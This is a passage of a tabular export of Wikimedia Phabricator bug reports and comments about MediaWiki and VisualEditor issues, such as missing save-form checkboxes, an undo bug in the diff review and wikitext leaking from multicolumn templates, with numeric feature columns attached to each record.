where does this happen exactly? http://commons.wikimedia.org/wiki/Special:UploadWizard ? Does it also happen on http://test2.wikipedia.org/wiki/Special:UploadWizard ? Which approx. filesize do these files have?",,,1374852631,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s536bhjhjcxh5wim4rzu,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,4.0,4.0,4.0,14.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5357142857142856,0.8214285714285714,"Hi Molly,
where does this happen exactly? URL ? Does it also happen on URL ? Which approx. filesize do these files have?"
54031,Allow extension options to be specified in API calls,"The rendering of a page can be affected by user extension options (e.g. their choice of renderer for the Math extension) so we should be able to pass through these options to the API.

This is blocking proper support of the Math extension in VisualEditor.

--------------------------
**Version**: 1.23.0
**Severity**: normal",Medium,50.0,1374764640,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-jksvrmf6seb3lzwf6tsr,task_description,open,True,c1,3,True,False,,3,,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,15.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,12.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,15.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.102941176470588,0.6911764705882353,"The rendering of a page can be affected by user extension options (e.g. their choice of renderer for the Math extension) so we should be able to pass through these options to the API.

This is blocking proper support of the Math extension in VisualEditor.

--------------------------
**Version**: 1.23.0
**Severity**: normal"
716838,Allow extension options to be specified in API calls,"To do something about this, I think we'd need:
# Put these extension options in ParserOptions, somehow. The extension would also have to depend on the ParserOptions rather than user preferences or the like to determine behavior.
# Be able to query the options available in ParserOptions, along with their API data types. And be able to set an option generically by name.
# Then ApiParse and other modules can use this to add relevant parameters for the parser options.",,,1472056142,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-jksvrmf6seb3lzwf6tsr,task_subcomment,,True,c1,3,False,,,164,,0.0,1.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,5.0,16.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,2.0,13.0,0.0,3.0,10.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,3.0,16.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.21505376344086,0.7311827956989247,"To do something about this, I think we'd need:
# Put these extension options in ParserOptions, somehow. The extension would also have to depend on the ParserOptions rather than user preferences or the like to determine behavior.
# Be able to query the options available in ParserOptions, along with their API data types. And be able to set an option generically by name.
# Then ApiParse and other modules can use this to add relevant parameters for the parser options."
235090,Allow extension options to be specified in API calls,[Setting normal prio as bug 51698 (blocked by this) is also normal prio.],,,1395107815,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-jksvrmf6seb3lzwf6tsr,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.388888888888889,0.8888888888888888,[Setting normal prio as bug 51698 (blocked by this) is also normal prio.]
235084,Allow extension options to be specified in API calls,See bug 51698,,,1374764852,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-jksvrmf6seb3lzwf6tsr,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,See bug 51698
54011,VisualEditor: ve.ui.Context#toolbar is null in MediaWiki,"Following the documentation[1] starting at ve.ui.Surface (from ve.instances[0]) one would go to #getContext and access .toolbar. But though that property is defined, it is set to null.

I'm not sure why, but apparently our MediaWiki's init is instantiating its own and is only accessible from ve.init.mw.ViewPageTarget#toolbar (ve.init.mw.targets[0].toolbar).

It probably shouldn't have to instantiate its own one, and certainly not make it inaccessible to the rest of VE.


[1] https://doc.wikimedia.org/VisualEditor/master/#!/api/ve.ui.Surface

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1374716460,1412590622.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-27h7itsrfluxqubhrje3,task_description,resolved,True,c1,3,True,False,False,3,,0.0,0.0,0.0,1.0,2.5,4.5,0.5,0.0,0.5,0.0,0.0,1.5,0.0,0.5,0.0,1.0,0.5,5.5,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,2.5,0.0,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,2.0,8.0,1.0,3.0,2.0,0.0,0.0,0.0,0.5,3.0,0.0,2.0,0.0,5.0,6.0,4.5,0.0,0.0,0.0,5.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,2.0,4.382832080200501,0.8049812030075187,"Following the documentation[1] starting at ve.ui.Surface (from ve.instances[0]) one would go to #getContext and access .toolbar. But though that property is defined, it is set to null.

I'm not sure why, but apparently our MediaWiki's init is instantiating its own and is only accessible from ve.init.mw.ViewPageTarget#toolbar (ve.init.mw.targets[0].toolbar).

It probably shouldn't have to instantiate its own one, and certainly not make it inaccessible to the rest of VE.


[1] URL

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233307,VisualEditor: ve.ui.Context#toolbar is null in MediaWiki,"There used to be a .toolbar property because the context had its own (local) toolbar to show the contextual tools in. This has been replaced with ContextWidget (which isn't a toolbar) which groups ContextItemWidget (which aren't tools), and now there is no .toolbar property.",,,1412590622,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-27h7itsrfluxqubhrje3,task_subcomment,,True,c1,3,False,,,66,,0.0,0.0,0.0,2.0,4.0,9.0,4.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,4.0,0.0,0.0,7.0,9.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,7.0,2.0,2.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,9.0,4.0,0.0,0.0,0.0,2.0,0.0,5.0,4.0,0.0,0.0,0.0,0.0,0.0,4.218181818181818,0.7090909090909091,"There used to be a .toolbar property because the context had its own (local) toolbar to show the contextual tools in. This has been replaced with ContextWidget (which isn't a toolbar) which groups ContextItemWidget (which aren't tools), and now there is no .toolbar property."
53981,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out","It seems that Chrome 28 does not display the ""Minor Edit"" and ""Watch This Page"" checkboxes on the save page form. This does work in Firefox 22. Does not seem skin related - Vector and Monobook have the same problem in either browser

Steps to reproduce:
- Open any page in edit mode.
- Make a small change, press Save page.
- (Firefox): There will be checkboxes stating ""Watch this page"" and ""This is a minor edit""
- (Chrome): Those checkboxes are not present.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374688740,1374693622.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-egsozcckjwhatubn2cu7,task_description,invalid,True,c1,3,False,False,True,3,,0.5,0.0,0.0,0.0,2.0,4.5,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,2.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,12.5,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.0,2.5,15.0,0.5,2.0,7.5,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.5,3.0,6.0,0.0,5.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.6031746031746033,0.6984126984126984,"It seems that Chrome 28 does not display the ""Minor Edit"" and ""Watch This Page"" checkboxes on the save page form. This does work in Firefox 22. Does not seem skin related - Vector and Monobook have the same problem in either browser

Steps to reproduce:
- Open any page in edit mode.
- Make a small change, press Save page.
- (Firefox): There will be checkboxes stating ""Watch this page"" and ""This is a minor edit""
- (Chrome): Those checkboxes are not present.

--------------------------
**Version**: unspecified
**Severity**: normal"
254739,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out",Then this is not the bug I thought it was; fixing settings.,,,1374693622,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-egsozcckjwhatubn2cu7,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.4285714285714284,1.0,Then this is not the bug I thought it was; fixing settings.
254730,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out",Do'h! Logging in does indeed appear to be the problem - I restarted Chrome right before testing a few things iand forgot to log back after i did. Sorry for that - seems to be a storm in a teacup.,,,1374693512,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-egsozcckjwhatubn2cu7,task_subcomment,,True,c1,3,False,,,3,,2.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,19.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,12.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,0.0,5.0,19.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,3.627906976744186,0.813953488372093,Do'h! Logging in does indeed appear to be the problem - I restarted Chrome right before testing a few things iand forgot to log back after i did. Sorry for that - seems to be a storm in a teacup.
254722,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out","(In reply to comment #0)
> It seems that Chrome 28 does not display the ""Minor Edit"" and ""Watch This
> Page""
> checkboxes on the save page form. This does work in Firefox 22. Does not seem
> skin related - Vector and Monobook have the same problem in either browser
> 
> Steps to reproduce:
> - Open any page in edit mode.
> - Make a small change, press Save page.
> - (Firefox): There will be checkboxes stating ""Watch this page"" and ""This is
> a
> minor edit""
> - (Chrome): Those checkboxes are not present.
Are you sure you're logged in in both browsers? If you're logged out in Chrome, then you'd be getting the expected behavior for anons (which changed recently, because we're not using smarter code that's more consistent with how the old editor does it).",,,1374693045,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-egsozcckjwhatubn2cu7,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,1.0,5.0,0.0,1.0,0.0,1.0,5.0,5.0,0.0,0.0,0.0,1.0,0.0,6.0,11.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,1.0,2.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,18.0,3.0,0.0,5.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,7.0,11.0,13.0,1.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,3.4827586206896552,0.5977011494252874,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Are you sure you're logged in in both browsers? If you're logged out in Chrome, then you'd be getting the expected behavior for anons (which changed recently, because we're not using smarter code that's more consistent with how the old editor does it)."
254710,"VisualEditor: ""Minor Edit"" and ""Watch this page"" checkboxes on the save page form are not visible when logged out",This is actually due to an underlying bug in the new code just pushed out an hour ago; we've just fixed this (reload if it doesn't show).,,,1374692833,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-egsozcckjwhatubn2cu7,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,3.0,3.0,15.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,3.3636363636363638,0.9393939393939394,This is actually due to an underlying bug in the new code just pushed out an hour ago; we've just fixed this (reload if it doesn't show).
53947,VisualEditor: Undo does not invalidate cached wikitext diff content,"English Wikipedia user Atethnekos reports: 
""If I make 2 changes, review changes, exit review/save dialog, undo last change, and then review changes again, the review shows both changes, though saving only saves the first.""

Steps to reproduce:
1. Make two changes to a page in VE
2. Undo one change
3. Click save and review your changes. 
-Expected behaviour: Only the first change is shown
-Actual behaviour: Both changes are shown.
4. Save the page. Only the first change has been saved.

This means that the review your changes is incorrect.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374660840,1392062273.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-csda6oirljibl6xuzg3w,task_description,resolved,True,c1,3,False,False,False,3,,0.0,0.0,0.0,2.0,0.0,6.5,0.5,0.0,0.5,0.5,0.5,0.0,0.0,2.0,0.0,0.5,0.0,3.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,2.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.5,14.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,3.0,10.0,1.5,1.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.5,0.0,2.0,3.0,2.5,0.0,1.0,0.0,2.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,1.0,3.76056338028169,0.5985915492957746,"English Wikipedia user Atethnekos reports: 
""If I make 2 changes, review changes, exit review/save dialog, undo last change, and then review changes again, the review shows both changes, though saving only saves the first.""

Steps to reproduce:
1. Make two changes to a page in VE
2. Undo one change
3. Click save and review your changes. 
-Expected behaviour: Only the first change is shown
-Actual behaviour: Both changes are shown.
4. Save the page. Only the first change has been saved.

This means that the review your changes is incorrect.

--------------------------
**Version**: unspecified
**Severity**: normal"
253152,VisualEditor: Undo does not invalidate cached wikitext diff content,"Yes, this is now fixed, almost certainly as part of the re-write Roan did last month.",,,1392062273,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-csda6oirljibl6xuzg3w,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,0.9523809523809523,"Yes, this is now fixed, almost certainly as part of the re-write Roan did last month."
253151,VisualEditor: Undo does not invalidate cached wikitext diff content,Can't replicate.,,,1391916784,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-csda6oirljibl6xuzg3w,task_subcomment,,True,c1,3,True,,,31,,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Can't replicate.
53926,VisualEditor: Pending Changes dropdown overlaps toolbar in Monobook,"Reported by Atethnekos on EnWiki, who also provided an image: https://en.wikipedia.org/wiki/File:Platovesample1.png

""When I edit a page with the pending changes revision dropdown, and I am scrolled to the very top, the dropdown and the VE page settings link become mangled.  See highlight in included image.  Firefox 22 on Win7 Pro SP1.""

I can reproduce this in both Firefox 22 and Chrome 28. The issue seems specific to the Monobook skin - Vector renders the pending changes dropdown somewhat lower in both browsers.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1374647880,1374648228.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-tl42tulmp4okf7khych6,task_description,resolved,True,c1,3,False,False,True,3,,0.0,0.0,0.5,0.5,0.0,4.5,0.0,0.0,0.0,0.0,2.5,0.0,0.0,1.0,0.0,2.0,0.0,2.0,6.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,4.5,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,14.5,0.5,2.0,8.5,0.0,0.0,0.0,0.0,1.5,0.0,2.5,0.0,2.0,6.5,8.0,0.0,1.5,0.0,2.0,0.0,1.0,1.0,0.0,1.5,1.0,0.0,0.0,4.018300060496068,0.7563520871143375,"Reported by Atethnekos on EnWiki, who also provided an image: URL

""When I edit a page with the pending changes revision dropdown, and I am scrolled to the very top, the dropdown and the VE page settings link become mangled.  See highlight in included image.  Firefox 22 on Win7 Pro SP1.""

I can reproduce this in both Firefox 22 and Chrome 28. The issue seems specific to the Monobook skin - Vector renders the pending changes dropdown somewhat lower in both browsers.

--------------------------
**Version**: unspecified
**Severity**: normal"
251832,VisualEditor: Pending Changes dropdown overlaps toolbar in Monobook,Sorry about this; the good news is that we just fixed this in gerrit 75545 which will go out in about eight hours or so - that drop-down menu will be hidden once you're inside VisualEditor mode (whatever your skin).,,,1374648228,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tl42tulmp4okf7khych6,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,4.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,4.0,2.0,4.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.74468085106383,0.8723404255319149,Sorry about this; the good news is that we just fixed this in gerrit 75545 which will go out in about eight hours or so - that drop-down menu will be hidden once you're inside VisualEditor mode (whatever your skin).
53922,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"Wikitext appearing in transclusion dialog

The underlying cause of this might be covered in bug 48231 or bug 51217 or others ... I thought I saw a bug about this, but cant find it now.

[[template:multicol]] with wikisyntax inside it results in the attached screenshot, with wikitext visible in the transclusion dialog as 'Content' blocks.

https://nl.wikipedia.org/wiki/Gebruiker:John_Vandenberg/test?veaction=edit

Section headers & list items also cause this; see the last block here:
https://en.wikipedia.org/w/index.php?title=User:John_Vandenberg/test&oldid=565567699&veaction=edit

If it helps, this issue is present on one of the parsoid topfails:

https://nl.wikipedia.org/wiki/Eerste_divisie_1996/97?veaction=edit

BeginKolommen occurs on nlwp 3047 times.  11362 times in enwp.  8861 times in eswp. 40985 times on itwp!, which is roughly 4% of the content pages.

Confirmed this is happening on every itwp invocation that I edit
https://it.wikipedia.org/wiki/Speciale:PuntanoQui/Template:Colonne
e.g.
https://it.wikipedia.org/wiki/Aeroplano?veaction=edit

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11763}",Medium,50.0,1374638040,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-vb4syhceqgegacimzles,task_description,open,True,c1,3,False,False,,3,,0.5,0.0,0.0,0.5,0.0,5.0,0.5,0.0,0.0,0.5,4.0,1.0,0.0,0.0,0.0,1.5,0.0,2.5,9.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.5,0.0,0.5,4.0,2.0,1.5,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.5,0.0,0.0,16.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.5,0.0,0.0,3.5,2.0,10.0,0.5,2.0,7.0,0.0,0.0,0.5,0.0,1.5,0.0,4.0,0.0,3.0,9.5,6.0,0.0,1.0,0.0,3.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,1.5,3.7105263157894735,0.631578947368421,"Wikitext appearing in transclusion dialog

The underlying cause of this might be covered in bug 48231 or bug 51217 or others ... I thought I saw a bug about this, but cant find it now.

[[template:multicol]] with wikisyntax inside it results in the attached screenshot, with wikitext visible in the transclusion dialog as 'Content' blocks.

URL

Section headers & list items also cause this; see the last block here:
URL

If it helps, this issue is present on one of the parsoid topfails:

URL

BeginKolommen occurs on nlwp 3047 times.  11362 times in enwp.  8861 times in eswp. 40985 times on itwp!, which is roughly 4% of the content pages.

Confirmed this is happening on every itwp invocation that I edit
URL
e.g.
URL

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11763}"
251658,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"(In reply to comment #5)
> (In reply to comment #4)
> > > 'nl:Eerste divisie 1996/97' is on the parsoid topfails list
> > > 
> > > http://parsoid.wmflabs.org:8001/topfails
> > > 
> > Oh, I see. It's not any more now :(
> 
> It is on page two of 16
> 
> http://parsoid.wmflabs.org:8001/topfails/2
> 
Aha! Found it.

> I have no idea if the {{BeginKolommen}} or tables within it have anything to
> do
> with the semantic failure; just thought I should mention it.
That doesn't appear to be the case: looking at the RT diff (which you get to by clicking on the page name), it's mostly related to the tables on the page: http://parsoid.wmflabs.org/_rt/nl/Eerste_divisie_1996/97",,,1374640898,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vb4syhceqgegacimzles,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,2.0,2.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,24.0,0.0,0.0,7.0,0.0,0.0,1.0,1.0,4.0,0.0,1.0,1.0,4.0,11.0,16.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.5121951219512195,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
Aha! Found it.

QUOTE
QUOTE
QUOTE
That doesn't appear to be the case: looking at the RT diff (which you get to by clicking on the page name), it's mostly related to the tables on the page: URL"
251650,VisualEditor: Multicol/BeginKolommen/Colonne and wikitext leaking into VE,"(In reply to comment #4)
> > 'nl:Eerste divisie 1996/97' is on the parsoid topfails list
> > 
> > http://parsoid.wmflabs.org:8001/topfails
> > 
> Oh, I see. It's not any more now :(

It is on page two of 16

http://parsoid.wmflabs.org:8001/topfails/2

